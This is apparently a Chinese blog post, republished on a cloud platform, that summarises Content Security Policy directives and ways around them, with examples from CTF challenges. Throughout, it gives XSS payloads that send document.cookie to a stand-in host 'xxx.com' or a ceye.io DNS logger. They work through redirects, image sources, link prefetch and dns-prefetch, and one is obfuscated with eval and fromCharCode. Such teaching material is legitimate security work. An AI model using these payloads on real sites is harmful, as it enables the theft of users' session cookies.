CSP总结及CTF实例分析

本文作者:HeartSky

最近各大比赛中 CSP 绕过的题目突然多了起来,自己也尝试着总结下

What is CSP?

> The new Content-Security-Policy HTTP response header helps you reduce XSS risks on modern browsers by declaring what dynamic resources are allowed to load via a HTTP Header.

CSP(Content Security Policy) 在 HTTP 响应头中规定,用来减少 XSS 攻击。在 HTTP 响应中长这样

Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com;

Directive Reference(指令参考)

  • 不同指令之间用 `;` 分隔
  • 同一指令的多个指令值之间用空格分隔
  • 指令值除了 URL 都要用引号包裹
  • 指令如果重复,则以第一个为准

指令 | 示例 | 说明

  • default-src | 'self' cdn.example.com | 定义资源默认加载策略
  • script-src | 'self' js.example.com | 定义 JS 的加载策略
  • img-src | 'self' img.example.com | 定义图片的加载策略
  • style-src | 'self' css.example.com | 定义样式表的加载策略
  • font-src | font.example.com | 定义字体的加载策略、
  • object-src | 'self' | 定义引用资源的加载策略,如 <object> <embed> <applet>等
  • media-src | media.example.com | 定义音频和视频的加载策略,如 HTML5 中的 <audio> <video>
  • connect-src | 'self' | 定义 Ajax、WebSocket 等的加载策略
  • frame-src | 'self' | 定义 frame 的加载策略,不赞成使用,改用 child-src

Source List Reference

所有以 -src 结尾的指令的指令值语法是相似的,我们称它为 source list

源值 | 示例 | 说明

  • * | img-src * | 通配符,允许除 <font color="green">data: blob: filesystem:</font> 协议之外的任意 URL
  • 'none' | object-src 'none' | 不允许加载任何资源
  • 'self' | script-src 'self' | 允许加载同域(即同域名、同协议、同端口)下的资源
  • data: | img-src 'self' data: | 允许通过 data 协议加载资源,如 <font color="green">data:image/jpeg;base64,base64_encode_data</font>
  • domain.example.com | img-src domain.example.com | 允许加载指定域名下的资源
  • *.example.com | img-src *.example.com | 允许加载 example.com 下所有子域名的资源
  • 'unsafe-inline' | script-src 'unsafe-inline' | 允许执行内联资源,如样式属性、事件、script 标签
  • 'unsafe-eval' | script-src 'unsafe-eval' | 允许不安全的动态代码执行,如 JS 中的 eval() 函数
  • https://cdn.com | img-src https://cdn.com | 只允许给定域名下的通过 HTTPS 连接的资源
  • https: | img-src https: | 只允许通过 HTTPS 连接的资源

Some examples

只允许加载同源下的任何资源**

default-src 'self';

允许加载谷歌分析的 JS(用来统计数据,如博客访问量)和同源下的资源

default-src 'self'; script-src: 'self' www.google-analytics.com

只允许加载同域下的图片、JS、CSS 和 Ajax 请求,其他类型的资源不允许加载

default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self';

Bypass unsafe CSP

unsafe-inline

script-src 'self' 'unsafe-inline';

当开启了这个选项时,意味着可以执行内联资源,包括 JS、样式表等

假设我们这里的例子都有一个向管理员留言的功能,而目标都是让管理员访问我们的目标网站,从而获取一些信息,乃至很重要的 Cookie。

在没有过滤的条件下我们可以这样

<script>document.location=http://xxx.com+document.cookie</script>

<script>location.href=http://xxx.com+document.cookie</script>

<script>

var i = document.createElement('img');

i.src = 'http://xxx.com' + document.cookie;

document.body.appendChild(i);

</script>

至于有过滤的情况下,为了不至于那么生硬,我们举几个真实比赛中的例子

过滤了点

Google CTF 2016 Wallowing Wallabies - Part Three

过滤了所有的点,属性的点可以用 `['']` 的形式来代替,URL 我们可以用 String.fromCharCode 函数,所以最后的 payload 是

<script>

var i = document['createElement']('img');

i['src'] = String['fromCharCode'](http://xxx.com 所对应的 Ascii 码,用逗号分隔) + document['cookie'];

document['body']['appendChild'](i);

</script>

过滤了大部分关键字

在最近结束的 ZCTF 2017 中就碰到了这样一道题,

(

)

eval

document

location

href

window

src

svg

img

这些常见的关键字都被拦截了,所以考虑一些冷门的发起请求的方法,搜到了长短短的 Twitter 中的一个 payload

<script>//# sourceMappingURL=https://xxx.com/?${escape(document.cookie)}</script>

因为我们不用获取 Cookie,所以完全可以实现我们的要求

PS://# sourceMappingURL 是用来请求一个 .map 文件,实现代码出错时直接显示原始代码,而不是经过压缩或其他转换操作后的代码,方便开发者调试

还有就是这个指令值出现在 style-src 中

style-src 'self' 'unsafe-inline';

比如上次 Pwnhub 蓝猫师傅出的一道题 `打开电脑`, CSP 是长这样的

Content-Security-Policy: default-src *; img-src * data: blob:; frame-src 'self'; script-src 'self' cdn.bootcss.com 'unsafe-eval'; style-src 'self' cdn.bootcss.com 'unsafe-inline'; connect-src * wss:;

我们可以提交一条 md5 值,后台显示方式和前段差不多,即

<a id="modal" class="detail" href="#detail" data-toggle="modal" contributor=aaangelwhu hexdata=672e65613167722e333170366572657265726572657265>fffffffffffe53cdbc640fffb934cfb8</a>

因为有 htmlspecialchars,对 `<` `"` 进行了转义,即我们跳不出这个标签,所以不能用 script 标签,但是我们注意到 hexdata 是没有引号的,而且这个字段又是我们可控的,结合 style-src 的 unsafe-inline 值,可以在标签内使用内联样式

233 style=background-image:url(http://xxx.com)

233 style=background:url(http://xxx.com)

background-image 属性是用来为元素设置背景图像的

unsafe-eval

script 'self' 'unsafe-inline' 'unsafe-eval'

当上面的 unsafe-inline 和 unsafe-eval 都开启时,将会变得很危险

因为你过滤的一些关键字都可以用 eval 函数来绕过,比如

我们先对最基本的 payload 用 String.fromCharCode 函数来处理

document.location=http://xxx.com+document.cookie

String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 104, 116, 116, 112, 58, 47, 47, 120, 120, 120, 46, 99, 111, 109, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101)

再用 eval 函数执行

<script>eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 104, 116, 116, 112, 58, 47, 47, 120, 120, 120, 46, 99, 111, 109, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101))</script>

这样就避开了很多关键字,当然不保证会直接过滤掉 eval

Link Prefetch

在 HTML5 中有一个新特性,[Link Prefetch](https://developer.mozilla.org/en-US/docs/Web/HTTP/Link_prefetching_FAQ)(页面资源预加载),浏览器会根据指示在空闲时预加载指定的页面,并把它们存储在缓存里,这样用户访问这些页面时,浏览器就能直接从缓存中提取出来,从而加快访问速度

官方的定义

Link prefetching is a browser mechanism, which utilizes browser idle time to download or prefetch documents that the user might visit in the near future. A web page provides a set of prefetching hints to the browser, and after the browser is finished loading the page, it begins silently prefetching specified documents and stores them in its cache. When the user visits one of the prefetched documents, it can be served up quickly out of the browser's cache.

下面就说下几种可以实现预加载的方式

prefetch

一般是通过 link 标签来实现预加载的指

<link rel="prefetch" href="http://xxx.com">

但是在标签内的话是没办法打到 Cookie 的,但如果我们可以执行内联 JS,情况就不一样了

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';

如果 CSP 头是这样的,我们可以通过利用 JS 创建 link 标签的方式打到 Cookie

<script>

var i=document.createElement('link');

i.setAttribute('rel','prefetch');

i.setAttribute('href','http://xxx.com?'+document.cookie);

document.head.appendChild(i);

</script>

dns-prefetch

dns-prefetch(DNS预解析) 允许浏览器在后台提前将资源的域名转换为 IP 地址,当用户访问该资源时就可以加快 DNS 解析。

<link rel="dns-prefetch" href="http://xxx.com">

同样想要在

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';

这种情况下收获 Cookie 的话

<script>

dcl = document.cookie.split(";");

n0 = document.getElementsByTagName("HEAD")[0];

for (var i=0; i<dcl.length;i++)

{

console.log(dcl[i]);

n0.innerHTML = n0.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.replace(/\./g, "-") + ".wb7g7z.ceye.io\">";

}

</script>

因为域名的命名规则是 [\.-a-zA-Z0-9]+,所以需要对一些特殊字符进行替换

然后到 ns 服务器上获取 DNS 查询记录就可以了,我用的是这个[平台](http://ceye.io)

preconnect

preconnect(预连接),与 DNS预解析 类似,但它不仅完成 DNS 预解析,还进行 TCP 握手和 TLS 协商

利用方式和上面类似

preload

preload 是一个新的 web 标准,提供了取回当前页面的特定资源更多的控制。它聚焦于取回当前页面并且提供了高优先权,而 prefetch 以低优先权取回下一个页面的资源

和其他属性值不同的是,它是由 connect-src 决定的,只有 CSP 长下面这样时才会对 href 里的资源发起请求

Content-Security-Policy: default-src 'self'; connect-src *;

然后就是和上面类似的 payload 了

html

<link rel="preload" href=http://xxx.com>

prerender

测试了下好像已经不行了,没有 CSP 头也不行

302 Redirect Bypass

很多种情况下网站会有302重定向的页面,用来跳转到本站的其他资源或者外部链接

在 PHP 中一般这样来实现

php

header('Location: http://xxx.com');

我们看下官方的[说明](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)

4.2.2.3. Paths and Redirects

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com not-example.com/path:

Directly loading https://not-example.com/not-path would fail, as it doesn’t match the policy.

Directly loading https://example.com/redirector would pass, as it matches example.com.

Assuming that https://example.com/redirector delivered a redirect response pointing to https://not-example.com/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches not-example.com/path if we ignore its path component.

也就是说只要产生跳转的页面在 CSP 下是可以访问的,那么就能实现跳转到其他页面,当然,这个页面得是和产生跳转的页面同域下的

原文发布于微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文发表时间:2018-03-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏博岩Java大讲堂

Java日志体系(log4j2)

47290
来自专栏Alice

1、大部分社交平台接口不支持https协议。

参考文献来自:http://wiki.mob.com/ios9-%E5%AF%B9sharesdk%E7%9A%84%E5%BD%B1%E5%93%8D%EF%...

36850
来自专栏前端布道

HTML5离线应用与客户端存储

支持离线 Web 应用开发是 HTML5 的另一个重点。所谓离线 Web 应用,就是在设备不能上网的情况下仍然可以运行的应用。

14010
来自专栏北京马哥教育

Python爬虫基础知识:Opener与Handler

豌豆贴心提醒,本文阅读时间6分钟 在开始后面的内容之前,先来解释一下urllib2中的两个个方法:info and geturl urlopen返回的应答对...

39790
来自专栏张戈的专栏

分享最近对网站外链跳转页面代码的一些改善

很久之前在博客分享了几篇关于外链跳转的代码或教程。如果没看过的可以先了解下: 分享两种外链跳转方法,可避免权重流失。 分享一个 WordPress 外链跳转...

1.1K80
来自专栏云端漫步

vim 使用教程

定义映射模式时,我们可以使用nmap、imap、vmap来定义映射仅在normal、insert、visual模式有效

1.5K40
来自专栏张善友的专栏

ASP.NET2.0应用中定制安全凭证之实践篇

一、方案架构   本方案架构很简单——它用一个Web服务来包装ASP.NET 2.0提供者并且为远程客户暴露该凭证管理,你甚至还能在该架构中加上一些失去的功能。...

20280
来自专栏云计算

腾讯云支持 Terraform 开发实践

这篇文章从系统架构开始,到核心库讲解,到实践开发,再到单元测试,比较完整的描述了支持Terraform的开发全过程。

4.8K180
来自专栏编程

小白爬虫之爬虫快跑,多进程和多线程

使用多线程时好像在目录切换的问题上存在问题,可以给线程加个锁试试 Hello 大家好!我又来了。 你是不是发现下载图片速度特别慢、难以忍受啊!对于这种问题 一般...

22670
来自专栏前端说吧

Gulp安装流程、使用方法及cmd常用命令导览

45660

扫码关注云+社区

领取腾讯云代金券